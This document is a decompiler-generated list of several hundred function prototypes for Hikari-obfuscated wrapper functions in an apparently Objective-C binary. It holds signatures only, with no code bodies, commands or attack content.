__int64 __fastcall HikariFunctionWrapper_17589(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17590(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17591(void *a1);
__int64 __fastcall HikariFunctionWrapper_17592(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17593(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_17594(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17595(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17596(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17597(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17598(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17599(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17600(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17601(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17602(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17603(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17604(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17605(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17606(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17607(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17608(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17609(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17610(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17611(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17612(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17613(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17614(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17615(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17616(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17617(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17618(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17619(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_17620(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17621(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17622(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17623(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17624(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17625(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17626(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17627(__int64 a1, __int64 a2);
bool __fastcall HikariFunctionWrapper_17628(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_17629(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17630(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17631(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17632(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17633(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17634(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17635(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17636(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17637(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17638(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17639(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17640(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17641(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17642(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17643(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17644(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17645(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17646(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17647(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17648(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17649(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_17650(__int64);
__int64 __fastcall HikariFunctionWrapper_17651(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17652(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17653(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17654(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17655(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17656(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17657(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17658(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17659(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17660(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17661(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17662(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17663(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17664(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17665(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17666(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17667(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17668(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17669(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17670(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17671(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17672(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17673(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17674(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17675(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17676(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17677(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17678(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17679(__int64 a1);
id __fastcall HikariFunctionWrapper_17680(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17681(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17682(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17683(void *a1);
__CFString *HikariFunctionWrapper_17684();
__CFString *HikariFunctionWrapper_17685();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17686(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17687(void *a1);
id HikariFunctionWrapper_17688();
id HikariFunctionWrapper_17689();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17690(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17691(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17692(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17693(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17694(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17695(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17696(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17697(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17698(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17699(__int64 a1);
id __fastcall HikariFunctionWrapper_17700(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17701(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17702(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17703(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17704(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17705(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17706(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17707(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17708(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17709(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17710(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17711(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17712(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17713(void *a1);
id __fastcall HikariFunctionWrapper_17714(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17715(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17716(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17717(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17718(objc_class *a1);
id __fastcall HikariFunctionWrapper_17719(objc_class *a1);
id __fastcall HikariFunctionWrapper_17720(objc_class *a1);
id __fastcall HikariFunctionWrapper_17721(objc_class *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17722(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17723(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17724(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17725(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17726(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17727(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17728(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17729(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17730(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17731(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17732(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17733(NSString *a1);
id __fastcall HikariFunctionWrapper_17734(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17735(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17736(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17737(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17738(__int64);
__int64 __fastcall HikariFunctionWrapper_17739(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17740(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17741(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_17742(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17743(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_17744(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_17745(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17746(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17747(void *a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17748(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17749(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17750(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17751(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17752(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17753(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17754(__int64);
__int64 __fastcall HikariFunctionWrapper_17755(__int64 a1);
char __fastcall HikariFunctionWrapper_17756(__int64 a1, const char *a2, int a3);
char __fastcall HikariFunctionWrapper_17757(__int64 a1, const char *a2, int a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17758(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17759(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17760(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17761(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17762(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17763(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17764(__int64);
__int64 __fastcall HikariFunctionWrapper_17765(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17766(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17767(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17768(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17769(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17770(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17771(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17772(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17773(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17774(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17775(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17776(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17777(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17778(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17779(void *a1);
id __fastcall HikariFunctionWrapper_17780(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17781(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17782(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17783(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17784(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17785(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17786(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17787(__int64 a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17788(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17789(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17790(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17791(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17792(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17793(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17794(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17795(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17796(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17797(NSString *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17798();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17799();
__int64 __fastcall HikariFunctionWrapper_17800(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17801(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_17802(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17803(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17804(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17805(void *a1, __int64 a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17806(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17807(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17808(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17809(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17810(__int64);
__int64 __fastcall HikariFunctionWrapper_17811(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17812(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17813(NSString *a1);
id __fastcall HikariFunctionWrapper_17814(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17815(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17816(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17817(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17818(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17819(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17820(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17821(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17822(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17823(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17824(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17825(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17826(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17827(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17828(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17829(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17830(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17831(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17832(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17833(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17834(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17835(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17836(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17837(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17838(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17839(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17840(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17841(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17842(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17843(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17844(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17845(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17846(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17847(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17848(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17849(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17850(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17851(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_17852(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17853(__int64 a1);
id HikariFunctionWrapper_17854();
id HikariFunctionWrapper_17855();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17856();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17857();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17858(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17859(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17860(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17861(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17862(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17863(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17864(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17865(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17866(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17867(void *a1, const char *a2);
